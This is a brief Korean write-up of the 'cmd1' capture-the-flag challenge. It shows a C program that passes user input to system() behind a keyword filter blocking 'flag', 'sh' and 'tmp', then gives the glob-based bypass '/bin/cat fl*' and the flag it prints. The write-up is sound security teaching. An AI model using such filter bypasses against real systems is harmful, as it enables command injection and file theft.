주어진 경로에 접속하면 아래와 같이 3가지 파일이 주어진다. 이 중 C파일을 실행하면 아래와 같은 내용의 소스코드를 확인할 수 있다.
cmd1@pwnable:~$ ls
cmd1 cmd1.c flag
cmd1@pwnable:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
코드를 해석해보면 flag,sh,tmp를 필터링 하지만 특수문자는 필터링하지 못하기에 아래와 같은 방식으로 우회하면 flag를 획득 할 수 있었다.
cmd1@pwnable:~$ ./cmd1 "/bin/cat fl*"
mommy now I get what PATH environment is for :)